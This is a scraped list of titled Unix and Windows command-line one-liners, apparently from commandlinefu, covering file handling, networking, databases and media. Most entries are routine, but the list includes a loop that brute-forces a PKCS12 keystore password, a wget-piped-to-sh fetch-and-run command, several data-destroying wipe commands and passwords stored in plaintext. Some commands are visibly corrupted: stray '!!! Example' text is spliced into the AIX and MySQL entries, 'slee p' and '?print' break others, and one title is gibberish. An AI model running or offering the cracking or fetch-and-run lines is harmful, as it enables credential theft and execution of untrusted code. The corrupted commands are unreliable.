sudo apt-get <apt-get command and options> --print-uris -qq | sed -n "s/'\([^ ]\+\)' \([^ ]\+\) \([^ ]\+\) MD5Sum:\([^ ]\+\)/wget -c \1/p" > dowload_deb_list.txt
SSH Auto-login with password
SSHPASS='your_password' sshpass -e ssh me@myhost.com
find php command backdoor
grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readf?ile) *\(" /var/www/
Opens up a background session within an existing fron-end session
screen
Flush memcache cache
echo 'flush_all' | nc localhost 11211
Show top of programms which are open file descriptors now, sorted by count DESC, grouped by process name and pid
sudo lsof | awk '{print $1,$2}' | sort | uniq -c | sort -nr
Recursively remove all files in a CVS directory
cvs remove -f `find . -type f ! -path \*CVS\*`
Extract thumbnails from EXIF metadata
exiftool -a -b -W %d%f_%t%-c.%s -preview:all YourFileOrDirectory
Passwordless mysql{,dump,admin} via my.cnf file
echo -e "[client]\nuser = YOURUSERNAME\npassword = YOURPASSWORD" > ~/.my.cnf
Test network performance, copying from the mem of one box, over the net to the mem of another
dd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l port >/dev/null
Check if a .no domain is available
check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "available" ; fi ; sleep 1 ;done }
Recursively grep thorugh directory for string in file.
find directory/ -exec grep -ni phrase {} +
Convert an ISO file to DMG format in OS X Terminal
hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg
File without comments or blank lines.
sed 's/^[[:blank:]]*//; s/^#.*//; /^$/d' filename
Concating pdf files
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf 1.pdf 2.pdf 3.pdf 4.pdf
capture screen and mic
ffmpeg -f alsa -i default -f x11grab -s sxga -r 10 -i :0.0 -f mp4 -s vga -sameq out.mp4
Show CPU idle and used time
grep "cpu " /proc/stat | awk -F ' ' '{total = $2 + $3 + $4 + $5} END {print "idle \t used\n" $5*100/total "% " $2*100/total "%"}'
Find directory by name
find . -type d -name '.svn' -ls
Writing the output of a command to end of a file
COMMAND - OPTIONS - MORE OPTIONS | tee >> /file/you/want_to_append_output_to
Set window name when SSH'ing while using screen
ssh() { [ $TERM == screen ] && (screen -X title "${1##*@}"; command ssh "$@"; screen -X title '';exit;) || command ssh "$@"; }
php command show status memcache
watch 'php -r '"'"'$m=new Memcache;$m->connect("127.0.0.1", 11211);print_r($m->getstats());'"'"
One line web server (working with any web browser)
nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
List size of individual folder in current directory
du -hs *
view the 10 most cpu using processes in browser
while true; do ps aux | sort -rk 3,3 | head -n 11 | cut -c -120 | netcat -l -p 8888 2>&1 >/dev/null; done &
awk zero pad last field in variable-length record
awk '{var = sprintf(NF); if (var == 4) printf "%s %s %s %026d\n" , $1,$2,$3,$4; else printf "%s %s %s %s %026d\n" , $1,$2,$3,$4,$5}' yourfilegoes.here >> yournewfilegoes.here
Search for a process by name
ps -fwwp $(pgrep process_name)
Verify sha1sum of a file
sha1sum -c file.sha1
Password server
while [ 1 ]; do cat /dev/urandom | tr -dc ' -~' | head -c 10 | ncat -l 8080 &> /dev/null; test $? -gt 128 && break; done
Optimal way of deleting huge numbers of files
perl -e 'for(<*>){((stat)[9]<(unlink))}'
Add some text and the current date and time to a file
echo "some text `date +%Y-%m-%d\_%H:%M:%S`" >> /path/to/filename
Developer: Add an IDT map design reference to your source tree
cp /proc/interrupts irq-ref.txt
change mac address
ifconfig eth0 hw ether 00:11:22:33:44:55
Create a file list of all package files installed on your Red-Hat-like system for easy grepping
for i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done > /tmp/pkgdetails
change newlines to spaces (or commas or whatever). Acts as a filter or can have c/l args
alias nl2space="perl -ne 'push @F, \$_; END { chomp @F; print join(qq{ }, @F) , qq{\n};}' "
Grap all images with the tags 'bitch' and 'bw' from a flickr photofeed
for URL in `wget -O - http://api.flickr.com/services/feeds/photos_public.gne?tags=bitch,bw 2>/dev/null | grep -E -o "http[^ ]+?jpg" | grep -v "_m" | uniq | grep -v 'buddy' `; do FILE=`echo $URL | grep -E -o "[0-9a-z_]+\.jpg"`; curl $URL > $FILE; done;
lists contents of a tar file
tar -tf /path/to/file.tar
Enable NetworkManager (in KDE)
dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Enable boolean:true
see what traffic is mostly hitting you
tcpdump -i eth0 -n | head
Find files with size over 100MB and output with better lay-out
find ./ -type f -size +100000k -exec ls -lh {} \; 2>/dev/null| awk '{ print $8 " : " $5}'
Kill google chrome process
kill $(pidof chrome)
List empty directories only in present level
find ./ -maxdepth 1 -empty -type d -print
command for conky. To update a random command for each 300 sec from commandline.com
${execi 300 lynx --dump http://www.commandlinefu.com/commands/random/plaintext | grep .}
find potentially malicious PHP commands used in backdoors and aliked scripts
for ii in $(find /path/to/docroot -type f -name \*.php); do echo $ii; wc -lc $ii | awk '{ nr=$2/($1 + 1); printf("%d\n",nr); }'; done
Show counts of messages in exim mail queue, grouped by recipient
sudo /usr/sbin/exim -bp | sed -n '/\*\*\* frozen \*\*\*/,+1!p' | awk '{print $1}' | tr -d [:blank:] | grep @ | sort | uniq -c | sort -n
Show sizes and calculate sum of all files found by find
find -name *.bak -print0 | du -hc --files0-from=-
Find all files modified after a given files last modification time
function findOlderThan () { find . -mmin -$((($(date "+%s") - $(stat -c %Y $1))/60)) -type f ; }
create a number of files at once in one command
touch file1{1..34}
Docker: Copy files from host to container
tar -cv * | docker exec -i elated_hodgkin tar x -C /var/www
md5sum
md5sum filename
Create a new subfolder with randomly shuffled symlinks of the files in current folder for further non-destructive processing.
SHUFDIR=shuffled && mkdir $SHUFDIR && for file in ./*; do ln -s "$PWD/$file" "$PWD/$SHUFDIR/$(od -A n -N 8 -t x8 /dev/urandom | tr -dc '[:print:]')-${file##*/}" ; done
Cross-region delete aws ec2 image
for i in $(aws ec2 describe-regions --output text --region "" | cut -f 3); do aws ec2 describe-images --output text --region $i --filter Name=name,Values=myimage | cut -f 5 | grep ami* | xargs -I {} aws ec2 deregister-image --region $i --image-id {};done
Find German synonyms using OpenThesaurus
desyno(){ wget -q -O- https://www.openthesaurus.de/synonyme/search\?q\="$*"\&format\=text/xml | sed 's/>/>\n/g' | grep "<term term=" | cut -d \' -f 2 | paste -s -d , | sed 's/,/, /g' | fold -s -w $(tput cols); }
Test your total disk IO capacity, regardless of caching, to find out how fast the TRUE speed of your disks are
time dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1
Are 64-bit applications supported on my Solaris OS?
isainfo -vb
download and run script from trusted webserver
wget -qO - sometrusted.web.site/tmp/somecommand | sh
Compile python script. Generated file will overwrite anything at /path/to/script.pyc
python -c $(echo -e 'import py_compile\npy_compile.compile("/path/to/script.py")');
move contents of the current directory to the parent directory, then remove current directory.
mv -n * ../; cd ..; rmdir $OLDPWD
I use this find command example to find out all the executable files
find . -perm 777 ?print
Kill google chrome process
kill -9 $(pidof chrome)
watch iptables counters
while true; do iptables -nvL > /tmp/now; diff -U0 /tmp/prev /tmp/now > /tmp/diff; clear; cat /tmp/diff; mv /tmp/now /tmp/prev; slee p 1; done
How to reliably open a file in the same directory as a Python script
__location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))
Less verbose CVS status (skips unmodified up-to-date files)
cvs -q status | grep ^[?F] | grep -v 'to-date'
Find pictures excepting a path
find . \( -not -path "./boost*" \) -type f \( -name "*.jpg" -or -name "*.png" -or -name "*.jpeg" \) 2>/dev/null
Count total running time for all media files in your directory
find -type f -exec ffprobe -i "{}" -show_entries format=duration -v quiet -of csv="p=0" \; | paste -sd+ | bc
Play any song off of YouTube
play() { mplayer -cache 4096 -cache-min 5 <(youtube-dl -f 140 -o - ytsearch:"$1"); }
Run JUnit Tests on a Java Class
alias junit='java -cp .:/usr/share/java/junit.jar:/usr/share/java/hamcrest-core.jar org.junit.runner.JUnitCore'
sorta apache logs by ip frequency
cat access.log | awk '{print $1}' | sort -n | uniq -c | sort -nr | head -20
route add default gateway
route add default gw 192.168.10.1 //OR// ip route add default via 192.168.10.1 dev eth0 //OR// ip route add default via 192.168.10.1
moreplayingaround
curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |festival --tts
Strip out time difference entries when verifying rpms on x86_64 RHEL systems
rpm -Va | grep -v "\.\.\.\.\.\.\.T"
Generate Random Passwords
dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c-16
Consistent Oracle Datapump Export
expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*)
Disaster Snapshot (procmail)
for x in `grep server /tmp/error.log | awk '{print $3}'`; do \ t=`date "+%d-%m-%H%M%S"` ; ssh -q -t admin@$x.domain.com 'pstree -auln' > ~/snapshots/$x-$t.out \ done
Calculate the size in MB of all files of a certain extension
find . -type f -iname '*.msh' -exec ls -lG {} \; | awk '{total = total + $4}END{print "scale=2;" total "/2^20"}' | bc
Run query on remote database and output results as csv
mysql -u[user] -p[password] -h [hostname] -D [database] -ss -e "select * from mysql_tbl " | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > dump.csv
Boot block devices as virtual devices in Virtual Box
VBoxManage internalcommands createrawvmdk -filename [path/to/file/name.vmdk] -rawdisk /dev/[block_device]
Find all FAT-invalid filenames in "."
find . | grep -E "(\||\\|\?|\*|<|\"|:|>|\+|\[|\])"
List users in a group
lid -g <group>
Show the source code of a LaTeX class or package or a TeX file in general
less `kpsewhich scrartcl.cls`
DB2 Load command instead of truncate or delete command, to get rid of table rows
db2 CONNECT TO stgndv2; db2 'load from /dev/null of del replace into STMOT.ST_MORT_ARRG_DELTA nonrecoverable'
List recursively only empty folders on present dir
find ./ -empty -type d -print
find git commits by description
cat /tmp/commit_list | { while read old_commit ; do msg="`git log --pretty=oneline $old_commit'^'..$old_commit | sed 's/[0-9a-f]* //' | sed 's/[^A-Za-z0-9]/./g'`"; git log --pretty=oneline HEAD@'{100}'..HEAD | grep "$msg" ; done ; }
Copy modified files between two Git commits
git diff --name-only --diff-filter=AMXTCR HEAD~2 HEAD | xargs -l -I{} cp --parents --verbose "{}" target_dir
Yardstick static analysis report sorted by which JavaScript files have the highest ratio of comments to code.
find . -name *js -type f | xargs yardstick | sort -k6 -n
total number of files inside current directory
ls -R | wc -l
Simplest web server ever!
nc -k -l 5432 -c 'echo My Web Server is Alive'
Grant read-only permissions to user or group
icacls directory_or_file /grant user_or_group:(OI)(CI)rx /t / l /q
The cycle count information is displayed among the other known battery information.
ioreg -l | grep Capacity
[windows] list the open ports by port and display their PID
netstat -anop tcp | find ":8010"
find directories on your machine that are taking up greater than 1G
du -h -d 1 | ack '\d+\.?\d+G' | sort -hr
List all the currently loaded old kernel packages, that is other than the active one
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d'
Interactive rebase
git rebase -i SHA
Easily move around many directories
a() { alias $1=cd\ $PWD; }
Lazy man's vim
function v { if [ -z $1 ]; then vim; else vim *$1*; fi }
Drag A Dashboard Widget Onto OS X Desktop
defaults write com.apple.dashboard devmode YES
let a cow tell you your fortune
fortune | cowsay -f tux
Get the latest ftp file from ftp server on local machine with lftp and bash. (Piped commands inside lftp).
ftp-latest <<< "cd /; cls -1 | tail -1 | xargs -I% echo get % | /PATH/TO/ftp-latest"
Find all NTFS-invalid filenames in "."
find . | grep -E "(\||\\|\?|\*|<|\"|:|>)"
Pop up a Growl alert if Amtrak wifi doesn't know where to find The Google
while [ 1 ]; do (ping -c 1 google.com || growlnotify -m 'ur wifiz, it has teh sad'); sleep 10; done
Check if TCP port 25 is open
netstat -tln | grep :25
copy multiple files using SCP
scp username@computer:"path/To/File1 path/To/File2" destination/
To check system send and receive tcp queue current size
ss -ntpl
something like 'git log -p' but for svn
FILE=somefile.js; LOG=~/changes.diff; truncate -s0 ${LOG}; for change in $(svn log ${FILE} | awk -F' | ' '/^r[0-9]+/{print $1}'); do svn log -c ${change} >> ${LOG}; printf "\n" >> ${LOG}; svn diff -c ${change} >> ${LOG}; printf "\n\n\n" >> ${LOG}; done
Remove tag git
git tag -d tagname
Calculate days on which Friday the 13th occurs (inspired from the work of the user justsomeguy)
for i in {2018..2025}-{01..12}-13; do [[ $(date --date $i "+%u") == 5 ]] && echo "$i Friday the 13th"; done
Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer 8080
Get a list of stale AWS security groups
aws ec2 describe-vpcs --query 'Vpcs[*].VpcId' --output text |xargs -t -n1 aws ec2 describe-stale-security-groups --vpc-id
Minimal Runtime Kernel Module Dependency View
lsmod | awk 'NR>1 && $4!="-" {print $1; split($4,a,","); for(i in a) print " -> used by:", a[i]; print ""}'
Search vmware vmx files if Linux guests are set to sync time to host
for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done;
Comment out all lines in a file beginning with string
sed -i '/^somestring/ s/^/#/' somefile.cfg
Change Mac OS X Login Picture
defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"
A better 'apt-cache' using Xapian to rank results
axi-cache search <searchterm>
Combine DVD Studio Pro DDP layers back into a DVD disc image for testing
cat dvd_output/Layer0/IMAGE.DAT dvd_output/Layer1/IMAGE.DAT > dvd.iso
Given $PID, print all child processes on stdout
ps axo pid,ppid | awk "{ if ( \$2 == $PID ) { print \$1 }}")
Find lines of code (LOC) of a filetype in a project.
find . -type f -name "*.py" -exec wc -l {} \; | awk '{ SUM += $1} END {print SUM }'
Find all e-mails older than 7 days in the queue and delete them
find /var/spool/mqueue -type f -mtime +7 | perl -lne unlink
Shows the line of the string you want to search for (like in normal grep) plus 'n' number of lines above and below it.
grep -C <no_of_lines> <string>
Prompt the user for input of y or n, wait for input then continue.
read -p "Question that you want an answer to?" yn
Find the 10 users that take up the most disk space
du -sm /home/* | sort -n | tail -10
replace dots in filenames with dashes
zmv '(*.*)(.*)' '${1//./_}$2'
Check if TCP port 25 is open
sudo lsof -iTCP:25 -sTCP:LISTEN
Unlock your KDE4 session over SSH
( eval $(grep -z '^DBUS_SESSION_BUS_ADDRESS' /proc/$(pgrep -u $USER plasma-overlay)/environ); export DBUS_SESSION_BUS_ADDRESS; kquitapp plasma-overlay )
grep for specific function invocations
grep -E -rn --color=always --exclude-dir=".svn" --exclude-dir="packages" --exclude="*.swp" "(emit|on)\([\'\"]leader" ~/project/ | less -R
list all files or directories consuming 1Mb or more
du -sc .[!.]* * |grep '^[0-9]{4}'
Print all open regular files sorted by the number of file handles open to each.
lsof -a -d 1-99 -Fn / | grep ^n | cut -b2- | sort | uniq -c | sort -n
Total space used by open but deleted files
sudo lsof -nP | awk '/deleted/ { sum+=$8 } END { print sum }'
Display "ls -l" output with color in less
ls -l --color | less -R
Remove all intermediate docker images after build
docker images | grep <none> | awk '{ print $3; }' | xargs docker rmi
Delete all files in a folder that don't match a certain file extension
find . -type f ! -name "*.foo" -name "*.bar" -delete
Find out which process uses an old lib and needs a restart after a system update
sudo lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u
disable services without uninstalling them
update-rc.d -f foobar remove && update-rc.d foobar stop
Add executable bit to all shell scripts under current directory recursively.
find . -type f -name "*.sh" -exec chmod u+x {} \;
Display the top ten running processes - sorted by memory usage
ps axo %mem,pid,euser,cmd | sort -nr | head -n 10
grep 2 words existing on the same line
grep -E/egrep 'word1.*word2|word2.*word1' "$@"
Convert input to a line of quote protected CSV
cat file | paste -s -d'%' - | sed 's/\(^\|$\)/"/g;s/%/","/g'
allows you to view your .bash_history file
$ vi .bash_history
git discard unstaged changes
git stash save --keep-index
MTR command line to show jitter and mimic network traffic
sudo mtr -s 1472 -B 0 -oLDRSWNBAWVJMXI <ip address>
Cross compile C!!! Example "code on Linux for windows machines
mono-csc hello.cs -out:world.exe
Find all processes running under your username.
ps -ef | grep $USER
How to know if your NIC receive link
watch ethtool eth0
Finds all of the mailers being used in your rails app
egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models
Talk to the doctor (Eliza-like)
emacs <ESC+x> doctor
Commit current modified or added files in current svn repository
svn status | grep -v ? | awk '{print $2}' > file.svn.txt && svn ci --targets file.svn.txt -m "[your commit message here]"
Download all images from a 4chan thread
curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs wget
Sort all files and directories by size, rounded to the nearest megabyte. (Substitute custom path for *.)
du -ms * | sort -nr
Erase a re-writable DVD from commandline
dvd+rw-format -force /dev/dvd
disable Internet services (i.e., those using inetd) without uninstalling
update-inetd --disable foobar && /etc/init.d/inetutils-inetd restart
Add executable bit to all shell scripts under current directory recursively.
find . -type f -exec file '{}' + | grep shell | awk -F':' '{print $1}' | xargs chmod u+x
get LAN ip
ifconfig | grep inet
Print data from field 9 till the end separated by a white space and new record separated by newline.
awk '{for (i=9;i<=NF;i++) {printf "%s",$i; printf "%s", " ";}; printf "\n"}'
Dump filtered twitter stream to a file
curl -s -u $USERNAME -X POST -d "track=obama,barack" https://stream.twitter.com/1.1/statuses/filter.json -o twitter-stream.out
Get your external IP address
curl l2.io/ip
Adding user to printer, after installing hp-lip (Debian)
sudo adduser [username] lp && sudo adduser [username] lpadmin && sudo hp-setup -i
Smart remove - Removes files and directories smarter. Put it in your /.bash_profile//.bash_*
srm() { if [[ -d $1 ]]; then rm -R $1; else rm $1; fi }
sddsgdgdssreer
sh all ip/net
count all the lines of code in a directory recursively
find . -name '*.php' | xargs wc -l
Using curl to fire a post request with data
curl -k --data "FORM_ID=4&AMOUNT=123" https://{url}
Copy to clipboard osx
echo -n "text" | pbcopy
Docker: Remove all exited docker container
docker system prune --volumes -f
edit list of files in last command
vi `!!`
Add the sbin directories to your PATH if it doesn't already exist in ZSH.
path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} );
Convert .flv to .avi
ffmpeg -i file.flv file.avi
Simple file wipe
for F in `find ./ -type f`;do SIZE=`ls -s $F | awk -F" " '{print $1}'`; dd if=/dev/urandom of=$F bs=1024 count=$SIZE;done
Remove i386 RPM packages from x86_64 CentOS/RHEL
yum remove `rpm -qa --qf "%{n}.%{arch}\n"|grep i386`
List only locally modified files with CVS
cvs -Q status | perl -ne 'print if m/^File.+Status: (?!Up-to-date)/ .. m/^=/;'
Create a shell script from history of commands
history | awk '{$1=""; print $0}' > install_pkg.sh
exec chmod to subfiles
find . -type f -exec chmod a-x {} \;
List tasks running
tasklist
immediatly attach to previous tmux session when connecting through ssh
ssh -t user@remote_host tmux attach
diff files ignoring comments and blank lines (lines starting with #)
diff -u <(grep -vE '^(#|$)' file1) <(grep -vE '^(#|$)' file2)
IBM AIX: List directory size with max depth
du -g | perl -ne 'print if (tr#/#/!!! Example "== <maximum depth>)'
Clone perms and owner group from one file to another
tar -cpf - ./sourceFile | tar -xpf - -C ./targetDir/
Watch who requests what page from apache logs
tail -f access_log | awk '{print $1 , $12}'
Return ZSH colors
echo ${(o)color}
Check Twitter followers
followers() { curl -s https://twitter.com/$1 | grep -o '[0-9,]* Followers'; }
having root on server, add user's public key to his keys (no password required)
ssh-copy-id -i user_public_key.pub root@host
Grep live log tailing
tail -F some_log_file.log | grep --line-buffered the_thing_i_want
Remove all intermediate docker images after build
docker image rm $(docker image list -f "dangling=true" -qa)
Fix time-stamped filenames of JPEG images according to the EXIF date the photo was taken
(IFS=': '; for i in *.(#i)jpg; do set $(exiv2 -K 'Exif.Image.DateTime' -Pv $i 2> /dev/null); mv -v $i "$1-$2-$3${i#[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]}"; done)
Quickly run any gif as a ASCII animation in a terminal window
gif-for-cli /path/to/gif_file.gif
Batch rename files by their epoch last modified time.
for i in somefiles*.png ; do echo "$i" ; N=$(stat -c %Y $i); mv -i $i $N.png; done
use !$ to retrieve filename used with last command
vim !$
backup mysql database
0 0 * * 0 /usr/bin/mysqldump -uroot -p'<password>' data_base_name > /home/bob/XYZ_DB_BACKUP/$(date +\%Y-\%m-\%d_\%Hh\%M).sql
Cloack an IP range from some IPs via iptables
iptables -A FORWARD -i br0 -m iprange --src-range 192.168.0.x-192.168.0.y -m iprange --dst-range 192.168.0.w-192.168.0.z -j DROP
Watching directories
watch -n1 "ls -p | grep '/$'"
Red?marrage apache dans ubuntu
/etc/init.d/apache2 restart
Backup a pendrive or disk under windows with dd
dd.exe --progress if=\\.\Volume{0b1a0cbe-11da-11c0-ab53-003045c00008} of=pendrive.img
List wireless clients connected to an access point
wlanconfig <wireless_device> list sta
Search ruby-files with non-ascii character, but without encoding directive
grep -l --include '*.rb' --include '*.rake' '^[^#]*[^a-zA-Z0-9[:punct:][:space:]]' -R . | xargs -L1 awk '!/encoding/ && NR < 2 { print FILENAME }'
Quickly get your ipv6 address
curl -6 --silent whatismyipv6.com | sed -n 's/.*<title>//;s/<\/title.*//p'
Run an interactive program with perl code expansion
plexpand() { mkfifo /tmp/plxpnd; $@ </tmp/plxpnd & perl -p -e '$|=1; s/#\[(.*)\]/eval($1)/ge' >/tmp/plxpnd; rm /tmp/plxpnd; }
mv argument list too long
find $_SOURCE -type f -name '*' -exec mv {} $_DESTINATION \;
Create a highly compressed encrypted 7zip file from a directory
7z a -t7z -mhe=on -m0=lzma2 -mx=9 -mfb=64 -md=32m -ms=on some_directory.7z some_directory/
move all the .bak backup copies to their original names (rename files by stripping the extension)
for i in *.bak ; do nuname=`echo $i | sed 's/\.[^\.]*$//'`; echo renaming $i to $nuname;mv $i $nuname; done
displays comments from random jpeg files.
find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \;
Extract multiple file in a directory
for i in *.tar.gz; do tar -xzf $i; done
put environment variable in history to edit
print -s "PATH='$PATH'"
Transfer sqlite3 data to mysql
sqlite3 mydb.sqlite3 '.dump' | grep -vE '^(BEGIN|COMMIT|CREATE|DELETE)|"sqlite_sequence"' | sed -r 's/"([^"]+)"/`\1`/' | tee mydb.sql | mysql -p mydb
Persistent saving of iptables rules
iptables-save > firewall.conf; rm -f /etc/network/if-up.d/iptables; echo '#!/bin/sh' > /etc/network/if-up.d/iptables; echo "iptables-restore < firewall.conf" >> /etc/network/if-up.d/iptables; chmod +x /etc/network/if-up.d/iptables
Copy a file over SSH without SCP
cat LOCALFILE | ssh HOST "cat > REMOTEFILE"
determine process from solaris crash dump
pflags core.12462 | grep "core "
Notify by text-message when command completes
sleep 15 ; `echo "done" | mail -s "done" 4158575309@txt.att.net`
starts a detached screen with name
screen -S [name] -d -m [<command>]
Fix SELinux problem with Postfix on Centos
grep postfix /var/log/messages | audit2allow -M mypolicy
Install phpmyadmin in Debian 6
apt-get install phpmyadmin; echo "Include /etc/phpmyadmin/apache.conf" >> /etc/apache2/apache2.conf; service apache2 restart
List wireless clients connected to an access point
arp -i <interface>
Export ms access mdb to mysql sql
db=example.mdb; backend=mysql; mdb-schema "$db" $backend | grep -v 'COMMENT ON COLUMN' && mdb-tables -1 "$db" | xargs -I {} mdb-export -I $backend "$db" {}
Remove duplicate line in a text file.
sort in-file.txt | uniq -u > out-file.txt
Update the file modification time of all JPEGs in a directory to match EXIF date/time
jhead -ft *.jpg
wait processes
while pgrep nginx;do ;sleep 1;done
This command watches the top 10 processes currently taking up the most memory with thread & other info, incase you don't want to use the TOP or HTOP command.
watch -n .8 'ps -eaLo uname,pid,pcpu,pmem,lwp,nlwp,rss,vsz,start_time,args --sort -pmem| head -10'
Get latest direct download URL for Java JRE
((iwr "https://www.java.com/en/download/linux_manual.jsp").Links | ? {$_.href -ilike "*javadl*"} | ? {$_.innerText -ilike "*x64 RPM"}).href
Trigger a notification on USB device insertion using udev
udevadm monitor --udev --subsystem-match=usb | gawk '/add/ { system("espeak \"USB device attached\"") }'
Quick aliases for going up a directory tree
alias ::='cd ../../'
Find the process you are looking for minus the grepped one
pgrep -fl myprog
Shows size of dirs and files, hidden or not, sorted.
ls -a | du --max-depth=1 -h 2>/dev/null |sort -h
Internet Speed Test
lftp -e 'pget http://address_to_file; exit; '
Lossless DVD rips with
mplayer dvd://1 -dumpstream -dumpfile /tmp/file.mpg
Suspend to RAM with KDE 4
dbus-send --system --print-reply --dest="org.freedesktop.login1" /org/freedesktop/login1 org.freedesktop.login1.Manager.Suspend boolean:true
Unpack magnatune flac album and move artwork into album dir
magunp() {for i in ./*-flac.zip ;do AlbumPath="$(dirname "$(unzip -l -qq "$i" |tail -n 1 |cut -c 31-)")" && unp "$i" && mv ./cover.jpg "$AlbumPath/" && mv ./artwork.pdf "$AlbumPath/" && ls "$AlbumPath/" ; rm "$i";done ;}
Duplex PDF from a simplex scanner
input=a.pdf ; pages=`pdftk $input dump_data | grep -i numberofpages | cut -d" " -f 2`; pdftk A=$input shuffle A1-$[$pages/2] A$pages-$[$pages/2+1] output "${input%.*}.rearranged.${input##*.}"
Exit mc with 2 keystrokes
<F10><return>
Get latest direct download URL for Java JRE
(((iwr "https://www.java.com/en/download/linux_manual.jsp").Links | ? {$_.href -ilike "*javadl*"} | ? {$_.title -ilike "*x64 RPM"}).href)[0]
gets the bare ip(s) of a domain
dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'
When need to compress the Zope Database
python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instance-destination>/Data.fs.packed
create an application launcher shortcut that allow only one process of it running
sh -c 'if pgrep x2vnc && env LC_ALL=C xmessage -button "Kill it:0,Ignore it:1" "Another connection is already running. Should I kill it instead of ignoring it?"; then killall x2vnc; fi; x2vnc -passwd /home/Ariel/.vnc/passwd -east emerson:0'
Across an entire subtree, list not-empty directories that have no child-directories, globally sorted by their respective mtime
ls -ltr --directory $(find . -regex "./.*[^/]*\'" -type f | xargs -n 1 dirname | sort | uniq)
Export a postgresql query into csv file
su -c "psql -d maillog -c "copy (select date,sender,destination,subject from maillog where destination like '%domain.com%') to '/tmp/mails.csv' with csv;" " postgres
Exporting all MySQL user privileges
mysql -u{user} -p{password} -Ne "select distinct concat( \"SHOW GRANTS FOR '\",user,\"'@'\",host,\"';\" ) from user;" mysql | mysql -u {user} -p{password} | sed 's/\(GRANT .*\)/\1;/;s/^\(Grants for .*\)/#!!! Example "\1 ##/;/##/{x;p;x;}'
nmap scan hosts for IP, MAC Address and device Vendor/Manufacturer
nmap -sP 10.0.0.0/8 | grep -v "Host" | tail -n +3 | tr '\n' ' ' | sed 's|Nmap|\nNmap|g' | grep "MAC Address" | cut -d " " -f5,8-15
Bruteforce a P12 file
crunch 7 7 Bbe3EnNGga4AlLa4A | while read line; do keytool -list -storetype PKCS12 -keystore /path/to/file.pfx -storepass $line; if [ $? -eq 0 ]; then echo $line; break; fi; done;
Salvage a borked terminal
echo -e \\033c
List sub dir, sort by size, the biggest at the end, with human presentation
du --max-depth=1 -x -k | sort -n | awk 'function human(x) { s="KMGTEPYZ"; while (x>=1000 && length(s)>1) {x/=1024; s=substr(s,2)} return int(x+0.5) substr(s,1,1)"iB" } {gsub(/^[0-9]+/, human($1)); print}'
Write shell script without opening an editor
sudo su -c “echo -e \”\x23\x21/usr/bin/sudo /bin/bash\napt-get -y \x24\x40\” > /usr/bin/apt-yes”
Play raw entropy noise via ALSA (bypass PulseAudio/PipeWire)
cat /dev/urandom | play -q -t raw -r 8000 -e unsigned-integer -b 8 -c 1 -t alsa default
simple perl global search and replace in files
perl -pi -e 's/localhost/replacementhost/g' *.php
Shorten url using bit.ly API
curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t -m "//shortUrl" -v "." | line
Random cow tells your fortune
files=(/usr/share/cowsay/cows/*);cowsay -f `printf "%s\n" "${files[RANDOM % ${#files}]}"` "`fortune`"
X11vnc starting session command
x11vnc -rfbauth /etc/x11vnc.pass -o /tmp/x11vnc.log -forever -bg -noxdamage -rfbport 5900 -avahi -display :0
find multiple files in directory and perform search and replace on each of them
files=$(find /dir/file -name *.txt -exec grep -l a {} \;) && perl -p -i -e 's/old/new/g;' $files
Remove the last string character using rev and cut
echo "command lines" | rev | cut -c 2- | rev
Completly blank a disk
shred --iterations=N /dev/sdaX
Get rid from a blank display without reboot
List of top commands from CommandLineFu
alias fu='curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext | grep -vE "^$|^#"'
Register all DLLs in a given folder
for %1 in (*.dll) do regsvr32 /s %1
Check to see if a command exists
command -v <command>
Execute a command with a timeout
alarm() { perl -e 'alarm shift; exec @ARGV' "$@"; }; alarm 20 foo arg1
Synchronize date and time with a server
sudo ntpdate serverip
Easy Python Virtual Environments
pve () { source ~/Documents/venvs/$1/bin/activate }
Check the most recent version of Java JRE
